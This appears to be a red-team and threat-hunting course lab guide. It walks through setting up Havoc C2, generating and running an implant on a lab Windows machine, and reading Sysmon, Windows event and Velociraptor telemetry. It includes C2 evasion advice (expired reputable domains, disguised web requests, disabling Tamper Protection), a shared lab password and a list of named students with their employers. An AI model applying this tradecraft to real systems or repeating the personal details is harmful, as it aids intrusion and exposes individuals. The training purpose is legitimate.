Training

1. INTRO: THREATHUNTING ACADEMY - EVASION

DISCLAIMER: This training is copyright (c) 2025 of Vanguard Security, all information and tools provided are intended for educational purposes only. Performing hacking attempts on computers that you do not own (without permission) is illegal! Do not attempt to gain access to device that you do not own.

Welcome to the "Threathunting Academy - Evasion" this is the official lab guide that will guide you through the infrastructure. Students will all have their own Windows 10 client machine, and a Kali Red Team server.

IMPORTANT: Do not submit any code/samples to public virus-scanning services (Virus Total, Online Sandboxes,... ) - doing so will only make our life harder, as they will simply create a static signature, and we'll then have to evade that, rewrite the training, make new screenshots for something trivial.

What you will learn in this training:

• How attack frameworks work
• AV and EDR internals and how to evade them
  • Windows Defender, AMSI and ETW basics and evasion
• PowerShell based attacks (in-memory)
• How signature based detection works and how to evade
• What Shellcode is, how to build and use shellcode
• Build your own evasive shellcode loader
• Build your own Forensics Lab

In this training we'll be using an Administrator account, although this training is not about privilege escalation, we will demonstrate how you can elevate a regular user to an Admin/System user, we'll start with a few labs doing just that. With that (privesc) out of the way we'll run all other labs with an admin user.

At the End of this training

• You will know how to set up your own malware analysis lab
• Have learned how privilege escalation, persistence, code-execution, evasion and other techniques work.
• Modify existing attack tools to bypass defenses
• Learn how to analyze malware (static/dynamic)
• Work with attack frameworks, customize them with your own toolset and apply evasion techniques
• Build your own evasive shellcode loader using memory injection, remote payloads, obfuscation, encryption and other evasion techniques
• Understand how AV/EDR solutions work, where their telemetry comes from and how to bypass

1.1 RECOMMENDED BOOKS

1.2 THE DIFFERENCE BETWEEN DETECTION RULES AND THREATHUNTING RULES

• Threathunting rules: Threathunting rules are not the same as detection rules. A detection rule needs to be robust and trigger as few false positives as possible, especially when used for alerting (alert fatigue). Threathunting rules are hypothesis based detections looking for potential TTP's and to pro-actively find specific behaviours in your environment

• Detection rules: are typically used in SIEM, EDR, or IDS solutions and are designed to identify malicious activities that match known patterns or IOCs. For example, a detection rule might flag any authentication attempt from a blacklisted IP address or a known malware hash.

1.3 THREAT HUNTING VS INCIDENT RESPONSE

• Threat hunting is often described as "incident response without the incident" — a proactive, human-driven activity aimed at uncovering threats that automated detections may miss.

• During active incidents, threat hunters assist the incident response process by:

  • Identifying the full scope and impact of an intrusion.
  • Discovering indicators of compromise (IOCs), suspicious behaviors, and signs of attacker dwell time.
  • Formulating and testing hypotheses about adversary behavior within the environment.

Application in Incident Response

In incident response, the use of threat hunting rules provides several key advantages:

• Guide the investigation: Rules or hypotheses can focus efforts on likely compromise areas.
• Uncover hidden elements: Reveal lateral movement, persistence mechanisms, or attacker-controlled infrastructure.
• Accelerate forensics: Fuel forensic efforts with behavioral and contextual intelligence from threat hunting activities.

Collaboration Between Hunting and Response

• Threat hunting results are often fed into the forensic analysis process — helping create timelines, understand the attack chain, and establish root cause.
• Hunting during an incident enables fast, hypothesis-driven iteration to rapidly contain and mitigate threats.

Summary

• Proactively: Threat hunting helps detect threats before an alert is triggered.

• Reactively: In an incident, threat hunting rules support forensics and incident response by:

  • Adding context
  • Guiding workflows
  • Identifying gaps in initial findings

Conclusion: Threat hunting rules are critical tools both before incidents occur (to uncover hidden threats), and during/after incidents (to support forensic investigations and improve incident response). They provide context, speed, and depth that traditional detection tools may miss.

LAB ACCESS

1. ACCESSING THE LAB INFRASTRUCTURE

In this training you'll be using Apache Guacamole to connect to your Windows 10 machine and Kali Linux server. Guacamole is a clientless remote desktop gateway that supports standard protocols like VNC, RDP, and SSH. It requires no plugins or client software; all you need is a web browser.

• Connect with your browser to your Windows 10 machine, select the right student number that was assigned to you in the beginning of the class:

• Guacamole URL: https://guacamole.threathuntingacademy.com

• Guacamole Username: studentXX (XX = your assigned student number, e.g., student01)

• Guacamole Password: Threathunt25 (case sensitive!)

You will use the same username and password for all authentication purposes (RDP, SSH, Tools, Windows and Kali) in this training, unless specifically mentioned otherwise.

You browser will prompt you to Allow access to your clipboard - make sure allow this, as you'll be copy/pasting commands from the training material into the RDP session.

Once logged in, you will see two connections:

Windows 10 - studentXX - Your Windows 10 machine where you'll perform most of the labs.

Kali Linux - studentXX - Your Kali Linux machine where you'll perform some of the labs.

• student01 - Jenne Tondeleir (UGent)
• student02 - Bart Vermeersch (Ugent)
• student03 - B. Vermeersch (Ugent)
• student04 - Bert de Smedt (Ugent)
• student05 - Leander Vervacke (Easi)
• student06 - Raf Coulier (Easi)
• student07 - Jeroen Gui (Easi)
• student08 - Frank Driesen (UHasselt)
• student09 - Filip Vandenberghe (UHasselt)
• student10 - Steven Algoet (UZGent)
• student11 - Pieter Donche (Lineas)

The WIKI is best accessed from your Windows 10 machine by using Chrome and browsing to:

• WIKI: http://mdbook.threathuntingacademy.com

2. DO NOT SUBMIT ANY OF THE PAYLOADS FROM THIS TRAINING TO VIRUSTOTAL OR ANY OTHER ONLINE SCANNING SERVICE!

IMPORTANT : Please do not send submit samples to Virus Total or any other public virus-scanning services, unless specifically instructed. We don't want to burn our payloads for this training. Make sure at all times that sample submission in Microsoft Defender is turned off, and if for some reason you get prompted to submit a sample, deny the request.

3. DISABLE WINDOWS TAMPER PROTECTION

As we'll be doing several labs that require us to disable Windows Defender features, we need to disable Tamper Protection first, which prevents changes to Windows Defender settings. It won't change any detection capabilities, just the ability to change settings.

4. DISCORD ACCESS Disabled today

Please join our Discord server for any questions, help or discussions - we will also post any updates or changes there, documents and other useful resources.

5. GUIDELINES ON HOW TO COMPLETE THE LABS

Each lab contains a number of tasks that you need to complete, each task will typically have a screenshot showing you what the end-result should look like. When you see the below, it means you need to do something:

• Do something

Typically it will be a command you need to run, it will be in a box like below, you can simply click on the little icon in the upper right corner to copy the command to your clipboard:

whoami

Every now and then you'll see a "NOTE" box, this is important information that you should read. It can be additional context, hints or tips - or a more in depth explanation of a certain topic/technique.

NOTE: If you have any questions, please ask the instructor or teaching assistant for help.

When you see text in red, it means it's something you should pay attention to, not doing it will likely cause you to fail the lab.

6. RDP and COPY/PASTE ISSUES

• Sometimes when copy/pasting commands from the browser into the RDP session, it won't work as expected.

  • You paste the command, but it doesn't show up in the command/powershell prompt
  • Pasting multiple lines at once sometimes reverses the order of the lines, copying the lines into a notepad.exe on your windows machine first and then copying from there into the command/powershell prompt usually fixes this.

• If you experience issues, try typing the command manually. This is a known Microsoft issue with some browsers and RDP sessions. Closing the RDP session and reconnecting will typically fix this (temporarily).

• Sometimes the RDP session might freeze or disconnect, if that happens just reconnect using Guacamole.

7. SOLUTIONS

Every lab has a corresponding solutions folder. These are only to be used if you get stuck and need help. Try to complete the labs on your own first, and only use the solutions as a last resort. It's better to understand the material than to just get the right answer - so don't stress about copy/pasting the solution, try to understand what is being done and why.

8. LABS

Chapters in the WIKI that start with Lab - contains practical labs that you need to complete as part of this training. Each lab contains a number of tasks that you need to complete, and each task will typically have screenshots showing you what the end-result should look like. If you finish your lab early, please don't run ahead, instead you can always go through the theory we explained before the lab as this also contains other things you can try out.

9. LAB GUIDE, Tools and source code

At the end of the training we will provide you with a Lab Guide PDF that contains all labs, tasks and solutions in one document. You'll also receive a zip file with all the tools and source code you'll need for the labs.

Let's dive in!

1. HAVOC C2

1.1 OVERVIEW

With a plethora of attack frameworks available (https://howto.thec2matrix.com), the most important requirement is malleability/customizability. Commonly known frameworks such as Metasploit, Cobalt Strike, Empire (Starkiller GUI), BruteRatel, Mythic C2, Covenant and Sliver come to mind.

(https://c2matrix.webflow.io)

In this training we'll be using a rather new, Cobalt Strike-like framework called Havoc C2.

https://github.com/voidvxvt/Havoc/blob/main/README.md

1.2 ATTACK FRAMEWORK COMPONENTS

Attack frameworks typically all consist of the following elements:

Teamserver

The central C2 server that receives C2 traffic from implants on its listeners (i.e. LHOST in metasploit), management connections from the client as well as it typically also hosts payloads.

Client

This is the operator console that connects to the teamserver and allows the adversary to manage listeners, malleable profiles, payloads and implants.

Demon (implant)

This is the actual malicious code that communicates back over a C2 channel to the teamserver, very often this is primarily a stager/loader (a tiny program that will download the actual malicious code and typically inject it in to memory of a current or remote process.) - attack frameworks will provide a payload generator that can build different types of payloads (Exe's, dll's, shellcode, etc...).

The most known is probably MSFVenom from the Metasploit Framework.

C2 Redirectors

We won't be using this in the lab, but in real world scenarios these function as proxies between the victim and the C2/team-server (It's easier to pop up a new proxy, than a completely new C2/team-server)

Payload hosting

This is where the payloads are hosted for download by the implant, typically this is done over HTTP/S or DNS, and not from the teamserver itself. In our lab we'll be hosting the payloads directly on the teamserver, which is not recommended in a real-world scenario.

1.3 COMMON ACRONYMS

• Beacon, Implant, Demon: An implant that "calls home" to a C2 server at regular intervals (check-in)
• C2: Command and Control server, the server that manages implants
• EDR: Endpoint Detection and Response, a type of security solution that monitors endpoints for suspicious activity
• IOC: Indicator of Compromise, a piece of data that indicates a potential security breach
• TTP: Tactics, Techniques, and Procedures, the behavior or modus operandi of threat actors

1.4 CONCLUSION

Havoc C2 is the framework we will be using in this training, however the techniques we'll be using can be utilized in each of the beforementioned frameworks.

Let's discover Havoc in the next lab!

1. LAB - HAVOC C2 BASICS

We have already installed Havoc C2 with a custom profile (HTTPS Listener, self-signed certificates and custom user agents).

1.1 RUNNING THE TEAMSERVER

• On your Kali machine, open a terminal:

• From your terminal run the following commands:

cd /opt/Havoc

• And then run:

./havoc server --profile /opt/Havoc/profiles/HTTPS.yaotl -v --debug

NOTE: The --debug flag is only for demonstration purposes, it will output all C2 traffic in cleartext in the terminal. In a real-world scenario you would not use this flag. DON'T CLOSE THIS TERMINAL OR YOUR TEAMSERVER WILL STOP!

1.2 RUNNING THE CLIENT

• In your existing terminal open a new tab:

The new tab should open in the same directory /opt/Havoc.

• Then from that tab run the following command:

./havoc client

NOTE: DON'T CLOSE THIS TERMINAL OR YOUR CLIENT WILL STOP! - if for any reason your client disconnects from the teamserver, you can always restart it and reconnect to the teamserver by going back to this terminal tab and running ./havoc client again.

You should now see the Havoc client GUI.

• We can now log in to our teamserver using the user Threatadmin and the password which we defined in the custom Havoc C2 profile.

• Click on connect.

• In the Havoc client go to VIEW, Listeners, select the HTTPS Listener and click on edit. You'll see the following:

• Select the HTTPS Listener and click on edit.

Best Practices:

• Run your C2 channel on a reputable server (onedrive, Dropbox, Akamai etc...)
• Ideally register expired domains with a good reputation, that are categorized as safe.
• Use an FQDN, not an IP address (i.e. something.crimsoncore.be instead of 192.168.100.25)
• Use HTTPS for your C2 communication to evade network based detections (or DNS)
• Make the webrequest look legit (user agent, headers etc...)

You'll see the following (please note the host bind address will be different from the screenshot, it will reflect the IP address of your Kali machine). Don't change anything here, just have a look and close the window again.

• On your Windows machine when we browse with Chrome to the HTTPS listener (https://kali:443), we'll now see our own custom self-signed certificate - one IOC less for AV/EDR to trigger on! And C2 traffic is now encrypted!

The 404 page is normal as havoc is not serving an actual webpage, ignore this and check the website certificate

1.3 CREATING AND DEPLOYING PAYLOADS

We'll create a vanilla demon payload as an executable, make sure all settings are like in the screenshot below (we'll go into the advanced evasion settings later on), save the payload in "/opt/Havoc/payloads" directory:

• In the Havoc client go to Attack, Payload, make sure the options are as in the screenshot below - HTTPS Listener, x64, Windows Exe for Injection use Win32 for Alloc and Execute and click on Generate.

NOTE: This can take a while, be patient.

• On your Kali machine, go to your terminal, open a new tab and let's host this payload so we can download it on our Windows victim machines:

cd /opt/Havoc/payloads
updog2

• Now, on your Windows machine use Chrome and go to http://kali:9090/ and download the Havoc demon ("demon.x64.exe") to "C:\Temp" - right-click on demon.x64.exe, "save link as" and point it to your C:\Temp directory.

NOTE: "C:\Temp" is whitelisted in MS Defender so your Defender won't trigger, we will deal with AV evasion later on, for now we just want to make sure our code executes and sets up a C2 connection.

NOTE: Chrome safe browsing will block potentially harmful files (EXEs, DLLs) when downloading with a browser - so don't forget to click "keep" in Chrome, so the file is allowed to download. Even if you turn safe browsing off...

We want to start with regular user privileges.

• On your Windows machine, open a command prompt with Administrator privileges:

runas /user:student cmd.exe

• Enter the password (Same as u use for Threatadmin user), and in the new command prompt you are now running as a regular user with medium integrity.

• Now from this new command prompt running as (COMPUTERNAME\student), an unprivileged user, execute the payload:

cd \temp
demon.x64.exe

In our Havoc client we should now see a new session popping up:

You can change the session view from Table to Graph view:

1.4 HAVOC GUI TOUR

Havoc has some nice GUI features like listing running processes on the victim machine or remotely viewing the file system:

• Right-click the session and select "Explorer" -> "Process List".

• Right-click the session and select "Explorer" -> "File Browser".

With the File Browser you can also upload and download files to/from the victim machine by right-clicking a file or folder and selecting download on a file. The files will be uploaded to our loot directory (which can also have screenshots later on if we perform those actions).

• In the file browser, navigate to C:\THEV\Labs and right-click any file and select Download.

The loot can be found in the Havoc client under VIEW -> Loot:

1.5 DIFFERENT SESSION VIEWS

In the HAVOC client you can change the session view from Table to Graph view:

We can switch between the two views by clicking on them.

• Go to Session Viewselect "Graph View".

You will now see the sessions in a graph view, which can be easier on the eyes and help visualize relationships between sessions.

1.6 INTERACTING WITH THE DEMON (IMPLANT)

We can also interact with this implant and run Havoc commands and post-exploitation modules.

• Right-click the session and select "Interact".

Let's check if our demon is actually running with the student account in medium integrity.

• Type the following command in the Havoc prompt at the bottom

whoami 

NOTE: Sometimes when you copy/paste from this WIKI to the Havoc GUI, the command might not paste correctly (it sometimes seems to add a few spaces at the end) - if you get an error, try typing it manually. Or Remove any trailing spaces.

We see that our demon is indeed running with the student account in medium integrity.

Let's check which commands are available:

help

That's a ton of built in commands and post-exploitation modules! Havoc C2 is also extensible, you can write your own modules in python and load them into Havoc (late on we'll have a lab demonstrating this).

The shell command will allow you to run commands on the victim machine, but be aware that this will spawn a child process (cmd.exe) that runs the command you specified - this is a very BIG IOC. Many EDRs will be monitoring parent/child process relationships, and will check for these commands (systeminfo, ipconfig, whoami, net.exe etc.)

• You can run the following command to see this in action:

shell whoami

NOTE: Sometimes when you copy/paste from this WIKI to the Havoc GUI, the command might not paste correctly (it sometimes seems to add a few spaces at the end) - if you get an error, try typing it manually. Or Remove any trailing spaces.

If you open ELEX (Eventlog Explorer) and navigate to the Sysmon logs (under Windows Logs -> Applications and Services Logs -> Microsoft -> Windows -> Sysmon \ Operational), you can see the command being run and the resulting child process (cmd.exe) that was spawned to execute the command. You'll also see the parent process (the Havoc demon) that spawned it.

The screenshots above (from your Windows machine using System Informer) show the command being run, and the resulting child process (cmd.exe) that was spawned to execute the command. You'll have to be very quick to see it in the process list, as it spawns and terminates very quickly. You could use a longer running command like shell ping 1.1.1.1 -n 20 to have a better chance of seeing it in the process list.

A more OPSEC way of doing this is by using BOFs (tiny inline C object files), or in the case of C# - (inline-)execute assembly (Cobalt Strike/Sliver) or with Havoc "dotnet inline-execute". Don't worry we have a lab later on demonstrating that!

We now have a simple Havoc demon payload running on the victim client, of course this would have been detected by AV, and as a regular user we can't do all the cool stuff - so let's continue and see how we can elevate privileges, but before we go let's clean up.

1.7 CLEANUP

On your Kali machine:

• Stop the updog server in the terminal it's running in by pressing CTRL+C.

• In order to properly clean up your sessions - in the Havoc GUI, right-click on each session, "Mark as dead", then "Exit-> Process" and finally "Remove".

On your Windows machine:

• Close all command prompts, and PowerShell windows.

Hunting & Telemetry

1. SYSMON (WINDOWS ENDPOINT)

This chapter gives a brief overview of Sysmon, what telemetry it provides and how to read the logs. For a more in-depth overview of Sysmon, its configuration and event ID's please refer to the Sysmon Community Guide.

"System Monitor (Sysmon) is a Windows system service and device driver that, once installed on a system, remains resident across system reboots to monitor and log system activity to the Windows event log. It provides detailed information about process creations, network connections, and changes to file creation time. By collecting the events it generates using Windows Event Collection or SIEM agents and subsequently analyzing them, you can identify malicious or anomalous activity and understand how intruders and malware operate on your network."

Note that Sysmon does not provide analysis of the events it generates, nor does it attempt to protect or hide itself from attackers.

Below are some useful links to get you started:

• Sysmon-Modular
• Sysmon Community Guide 📄 Download PDF
• Sysmon SwiftOnSecurity Config
• Visual Studio Code download
• Visual Studio Code Sysmon Extension
• Youtube walkthrough Sysmon extension Visual Studio Code
• Sysmon under the hood

Source: https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon

1.1 SYSMON ARCHITECTURE

Sysmon installs a device driver that monitors and reports on system activity to the Windows event log. It consists of three main components with WMI integration:

• Kernel-mode driver (SysmonDrv.sys) that monitors system calls and generates events
• User-mode service (Sysmon64.exe) that configures the driver and writes events to the Windows event log
• Event Manifest that defines event schemas for proper parsing by Windows Event Log

Enhanced Architecture Details:

The kernel driver (SysmonDrv.sys) operates using multiple detection methods:

Kernel Callbacks (Primary Detection Method):

• PsSetCreateProcessNotifyRoutineEx: Process creation/termination monitoring (Events 1, 5)
• PsSetCreateThreadNotifyRoutine: Thread creation monitoring (Event 8)
• PsSetLoadImageNotifyRoutine: Image/DLL loading monitoring (Events 6, 7)
• CmRegisterCallback: Registry operations monitoring (Events 12, 13, 14)
• ObRegisterCallbacks: Object handle operations monitoring (Event 10)

Minifilter Driver Integration:

• File System Operations: Registers as a minifilter driver on all volumes to monitor file operations (Events 11, 23, 26)
• Pre-operation Callbacks: Intercepts file system requests before they reach the file system
• Post-operation Callbacks: Monitors completed file operations

Network Detection Methods:

• WFP (Windows Filtering Platform) Callouts: Network connection monitoring (Event 3)
• Kernel Network Callbacks: Direct kernel-level network monitoring
• Implementation: Uses Windows Filtering Platform APIs for real-time network traffic interception

ETW Integration (Selective):

Sysmon subscribes to specific ETW providers for targeted telemetry collection:

DNS Query Monitoring (Event 22):

• ETW Provider: Microsoft-Windows-DNS-Client
• Provider GUID: {1C95126E-7EEA-49A9-A3FE-A378B03DDB4D}
• ETW Session: SysmonDnsEtwSession
• Collection Method: Real-time ETW event subscription
• Event Processing: ETW DNS events converted to Sysmon Event ID 22

WMI Detection (Implementation Details):

Note: The specific technical implementation for WMI monitoring is not detailed in Microsoft's official Sysmon documentation. The following is based on community research and behavioral analysis.

WMI Activity Monitoring (Events 19-21):

• Observed Method: Research suggests direct COM API interception via ExecNotificationQueryAsync() and ExecNotificationQuery() callbacks
• Target Classes: Monitors WMI Trinity (__EventFilter, __EventConsumer, __FilterToConsumerBinding)
• Behavioral Evidence: Sysmon successfully detects WMI persistence mechanisms without relying on ETW providers
• Implementation Theory: Direct IWbemServices interface monitoring combined with WMI repository change detection

Technical Implementation Details:

• Hook Points: Sysmon intercepts WMI COM interface calls at the kernel level
• Monitoring Scope: Tracks WMI class instance creation, modification, and deletion
• Event Correlation: Links filter creation to consumer binding for complete persistence chain visibility
• Repository Monitoring: Monitors direct WMI repository (root\cimv2) modifications

Key Technical Distinction:

• Network Events (Event 3): WFP callouts - kernel-level network filtering
• DNS Events (Event 22): ETW provider subscription - event-driven collection
• WMI Events (Events 19-21): COM API interception - direct interface monitoring

Service Architecture:

The user-mode service (Sysmon64.exe/Sysmon.exe):

• Configuration Management: Processes XML configuration and applies filtering rules
• Event Processing: Receives events from kernel driver and formats them for Windows Event Log
• Registry Integration: Stores configuration in registry (HKLM\SYSTEM\CurrentControlSet\Services\SysmonDrv)
• Service Communication: Maintains continuous communication with kernel driver via IOCTL calls

Performance Characteristics:

• CPU Overhead: Typically <2% on modern systems with default configuration
• Memory Footprint: 15-30MB resident memory (driver + service)
• I/O Impact: Minimal due to efficient kernel-level filtering
• Event Generation: Can produce 10GB+ daily on busy enterprise systems

• Sysmon has already been installed on your Windows machine, you can open your Windows event viewer by clicking on the Windows logo in the bottom left corner, and just start typing "event".

• You can have a look at the sysmon.xml with by using Visual Studio Code.

IMPORTANT: Make sure you are running as local admin in order to see the sysmon logs.

• Now navigate to Application and Services Logs > Microsoft > Windows > Sysmon > Operational, you can now see that Sysmon has created a new Windows event log and is tracking process creations (ID 1), file creation time changes (ID 2), process terminations (ID 5) and other activities.

If Sysmon is installed without a configuration file it will only log a few event IDs, we have provided a basic config file during the installation - which logs more event IDs, you can see that in the event viewer now there are more event IDs logged, like network connections (ID 3), driver loads (ID 6), image loads (ID 7), create remote thread (ID 8), file creates (ID 11), registry events (ID 12, 13, 14), WMI activity (ID 19, 20, 21), DNS queries (ID 22) and more. You can find this config file in C:\THEV\SysinternalsSuite\SysmonConfig.xml.

1.2 SYSMON EVENT SUMMARY - NOISE LEVEL ANALYSIS

Noise Level Legend:

• 🟢 Low/Very Low: Rare events, high signal-to-noise ratio, suitable for alerting
• 🟡 Medium: Moderate frequency, requires filtering, good for hunting
• 🔴 High/Very High/Extremely High: Frequent events, requires significant filtering, storage intensive

Key Insights for Red Teams:

• High-Value, Low-Noise Events: 8, 19-21, 25 (injection and WMI persistence detection) - immediate alerting candidates
• High-Risk, High-Noise Events: 1, 3, 7, 22 - require sophisticated filtering but critical for detection
• WMI Trinity Events: 19-21 specifically target WMI-based persistence mechanisms (__EventFilter, __EventConsumer, __FilterToConsumerBinding)
• Storage Impact: Events 1, 3, 7, 11, 13, 22, 23 generate massive log volumes in enterprise environments

Event Distinction Clarifications:

• Event 8 vs 25: Event 8 specifically logs CreateRemoteThread API calls (thread-based injection), while Event 25 covers broader process memory tampering (hollowing, code injection, memory modification)
• Event 23 vs 26: Event 23 logs file deletion via standard deletion APIs (e.g., DeleteFile), while Event 26 logs file deletions detected through file system monitoring (minifilter)

NOTE: Be very careful with SYSMON EVENT ID 23 : A file delete was detected [FileDelete] - this can fill up your disk quickly, files are by default saved to C:\Sysmon, you can change this by running sysmon64.exe with -a SysmonArchive, to save it to a custom (hidden folder), this can be useful but probably best if used very targeted to specific user writable folders (c:\Users, c:\windows\temp) and for specific file types (i.e. exe, dll, ps1, vbs, etc...). If you can put this archive on a partition that doesn't host the Windows OS!

1.3 SYSMON EVENT IDS FOR RED TEAM ANALYSIS

This table summarizes the Sysmon Event IDs from the Microsoft Sysinternals documentation (v15.15, July 23, 2024) at https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon. It includes implications for red team operations, focusing on detection/forensics and capabilities, particularly for fileless/memory-based attacks and C# tools.

WINDOWS LOGGING AND EVENT IDs

By default Windows logs a lot of information, but not everything is enabled by default. In this section we'll go through the most important logs that are relevant for red team operations and how to enable them. Microsoft recommends enabling the following audit policies for comprehensive logging: https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/advanced-security-audit-policy-settings

WE PREFER EVENTLOG EXPLORER (ELEX) over Windows Event Viewer

https://eventlogxp.com/

EventLog Explorer (ELEX) is a powerful tool for viewing, analyzing, and managing Windows event logs. It offers several advantages over the built-in Windows Event Viewer, such as a more user-friendly interface, advanced filtering options, and the ability to handle large log files more efficiently. ELEX also provides features like log exporting, bookmarking, and customizable views, making it easier for administrators and security professionals to analyze event logs and identify potential issues or security threats.

CUSTOM EVENT FILTERS IN ELEX

CUSTOM COLUMN VIEWS IN ELEX

WINDOWS EVENT ID's BEST PRACTICES

INCREASE FILE SIZE: When enabling detailed logging (e.g., PowerShell Script Block Logging, Process Creation with Command Line), ensure that the log file size is increased to accommodate the higher volume of events. This helps prevent log overwriting and ensures that critical events are retained for analysis.

wevtutil gl Microsoft-Windows-Sysmon/Operational
wevtutil sl Microsoft-Windows-Sysmon/Operational /ms:524288000
wevtutil gl Microsoft-Windows-Sysmon/Operational

A 64 MB Sysmon event log can hold approximately 16,384 to 65,536 events, with a typical estimate of ~32,768 events assuming an average event size of 2 KB - A 500 MB Sysmon event log can hold approximately 128,000 to 512,000 events, with a typical estimate of ~256,000 events assuming an average event size of 2 KB. For a precise count, analyze your Sysmon configuration and environment to determine the actual average event size.

1. POWERSHELL (SCRIPT BLOCK LOGGING)

LogSource: Microsoft-Windows-PowerShell/Operational

Note: By default, Windows logs only suspicious PowerShell activity through AMSI. To capture all PowerShell script execution, you must enable Script Block Logging via GPO or registry modification.

Benefits of Enabling Full Script Block Logging

• Comprehensive Logging: Unlike default logging (limited to AMSI-flagged suspicious scripts), GPO-enabled Script Block Logging captures all script activity, including non-suspicious and obfuscated code
• Centralized Management: GPO deployment ensures consistent logging across enterprise systems, superior to manual registry changes
• Granular Insights: Logs complete script content, execution context (user, process ID), and deobfuscated code - critical for detecting fileless attacks

Deobfuscation Behavior:

• Default AMSI logging: Deobfuscates Base64-encoded scripts only when flagged as suspicious
• Full Script Block Logging: Always deobfuscates Base64-encoded scripts, logging decoded content in Event ID 4104 regardless of threat level Important: When Script Block Logging is enabled, AMSI detection events are included within the comprehensive 4104 logs. This means all scripts (malicious and benign) are logged with full deobfuscation, significantly increasing forensic visibility but also log volume.

Manual Registry Configuration (Alternative to GPO)

Registry Path: HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging

• Key: EnableScriptBlockLogging
• Value: 1 (DWORD)

2. WINDOWS DEFENDER

LogSource: Microsoft-Windows-Windows Defender/Operational

AMSI also logs to Microsoft-Windows-Windows Defender/Operational as Event ID 1116 (detection) and 1117 (action taken), providing antivirus-specific details (e.g., threat name, process).

3. RDP CONNECTION

LogSource: Microsoft-Windows-Terminal-Services-RemoteConnectionManager/Operational

4. SERVICE CREATION LOGS

LogSource: SYSTEM

5. EVENT LOG CLEARING LOGS

LogSource: Security

6. PROCESS EXECUTION AND COMMAND LINE

LogSource: Security

Important: Event ID 4688 requires TWO separate GPO configurations:

1. Audit Process Creation (enables basic 4688 events)
2. Include command line in process creation events (adds command line logging)

Without both settings, you'll only get process names without command line arguments.

Configuration Steps for Process Creation Logging (Event ID 4688)

Step 1: Enable Process Creation Auditing

1. Navigate to: Computer Configuration → Windows Settings → Security Settings → Advanced Audit Policy Configuration → Audit Policies → Detailed Tracking
2. Double-click "Audit Process Creation"
3. Check the box "Configure the following audit events"
4. Check both "Success" and "Failure" boxes

Step 2: Enable Command Line Logging

1. Navigate to: Computer Configuration → Administrative Templates → System → Audit Process Creation
2. Double-click "Include command line in process creation events"
3. Set to "Enabled"

Result

• Event ID 4688 will now log process creation events with full command line arguments
• Critical for detecting malicious process execution and lateral movement activities
• Provides visibility into process spawning chains and command line obfuscation attempts.

7. LOGON EVENTS

LogSource: Security

8. PRIVILEGE ESCALATION

LogSource: Security

9. ACCOUNT MANAGEMENT

LogSource: Security

10. WMI EVENT LOGGING (Advanced)

LogSource: Microsoft-Windows-WMI-Activity/Operational

Configuration for WMI Logging

1. Navigate to: Computer Configuration → Administrative Templates → Windows Components → WMI
2. Enable "Enable Logging" for WMI-Activity

Log Retention Considerations

⚠️ Performance Warning: Enabling comprehensive logging (especially Process Creation 4688 and full PowerShell Script Block Logging) can generate 100GB+ logs daily on busy systems. Ensure adequate storage and consider log forwarding to SIEM solutions.

Noise Level Legend:

• 🟢 Low: Rare events, high signal-to-noise ratio
• 🟡 Medium: Moderate frequency, manageable with filtering
• 🔴 High/Very High: Frequent events, requires significant filtering and storage

OTHER INTERESTING EVENT LOGS

LogSource: Microsoft-Windows-DNS-Client/Operational

1. VELOCIRAPTOR

Velociraptor is already installed on your Kali host (you're welcome) - below you can find the installation instructions - DON'T run these again, it's only for reference.

• From your Windows machine you can connect to your Velociraptor server, using Chrome at the following address: https://kali:8889/app/index.html#/

1.1 VELOCIRAPTOR SERVER INSTALLATION (KALI)

Quickstart: https://docs.velociraptor.app/docs/deployment/quickstart/

Training: https://docs.velociraptor.app/training/

NOTE: The Velociraptor server installation below is for reference only, as it's already installed on your Kali Linux machine.

mkdir ~/velociraptor_setup && cd ~/velociraptor_setup
wget -O velociraptor https://github.com/Velocidex/velociraptor/releases/download/v0.74/velociraptor-v0.74.1-linux-amd64
chmod +x velociraptor
./velociraptor config generate -i
./velociraptor debian server --config ./server.config.yaml
sudo dpkg -i velociraptor_server_0.74.1_amd64.deb
systemctl status velociraptor_server.service
sudo nano /etc/velociraptor/server.config.yaml
systemctl restart velociraptor_server.service
systemctl status velociraptor_server.service

Velociraptor server config : /etc/velociraptor/server.config.yaml

1.2 VELOCIRAPTOR SERVICE

NOTE: The information on the Velociraptor client below is for reference only, as it's already installed on your Windows machine.

https://docs.velociraptor.app/docs/deployment/clients/#installing-the-client-as-a-service

When installed as a service, the Velociraptor client runs with elevated privileges. But when running it manually you may choose to run it as a normal user. The choice depends on what data sources you intend to access. For example, to access operating system protected files usually requires elevated privileges.

• This will install the binary and client configuration file in the C:\Program Files\Velociraptor\ folder, create the service, and start it.

This allows for live response and continuous monitoring of the endpoint.

https://docs.velociraptor.app/docs/deployment/clients/#option-1-obtaining-the-client-config-from-the-gui

• On Windows client: check yaml config under c:\program files\velociraptor

• Install the Velociraptor client on your Windows machine using the config file from the server

1.3 VELOCIRAPTOR OFFLINE COLLECTOR (AGENTLESS)

https://docs.velociraptor.app/docs/deployment/clients/#agentless-deployment

There has been a lot of interest in "agentless hunting" using Velociraptor, especially since many people come from backgrounds where PowerShell is used for this purpose.

There are many reasons why agentless hunting is appealing. These are the ones we hear most often:

• There are already a ton of endpoint agents and yet another one may not be welcome.
• Sometimes we need to deploy endpoint agents as part of a DFIR engagement and we may not want to permanently install yet another agent on endpoints.

In the agentless deployment scenario, we simply run the binary from a network share using Group Policy settings. The downside to this approach is that the endpoint needs to be on the domain network to receive the Group Policy update (and have the network share accessible) before it can run Velociraptor.

When we run in agentless mode, we are typically interested in collecting a bunch of artifacts via hunts and then exiting - the agent will not restart after a reboot. So this method is suitable for quick hunts on corporate (non roaming) assets.

• Velociraptor allows the user to build a specially configured binary (which is actually just a preconfigured Velociraptor binary itself) that will automatically collect the artifacts we need. Velociraptor allows us to build such a collector with the GUI using an intuitive process. https://docs.velociraptor.app/docs/offline_triage/

This collector will not require the full Velociraptor agent to be installed on the endpoint. It will run standalone, collect the specified artifacts, and then upload them back to your Velociraptor server for analysis (or a AWS S3 bucket, etc).

This is where Velociraptor gets seriously powerful for incident response:

Server.Utils.CreateMSI lets you build a standalone collector that runs without needing the full Velociraptor agent installed. Key parameters:

• CustomConfig: Supply your own client config
• AlsoBuild_x86: Build both 64-bit and 32-bit versions

Real-World Application: You can create these collectors, drop them on compromised systems, collect evidence, and analyze it all from your Velociraptor server - even on air-gapped networks.

Advanced Configuration Insights

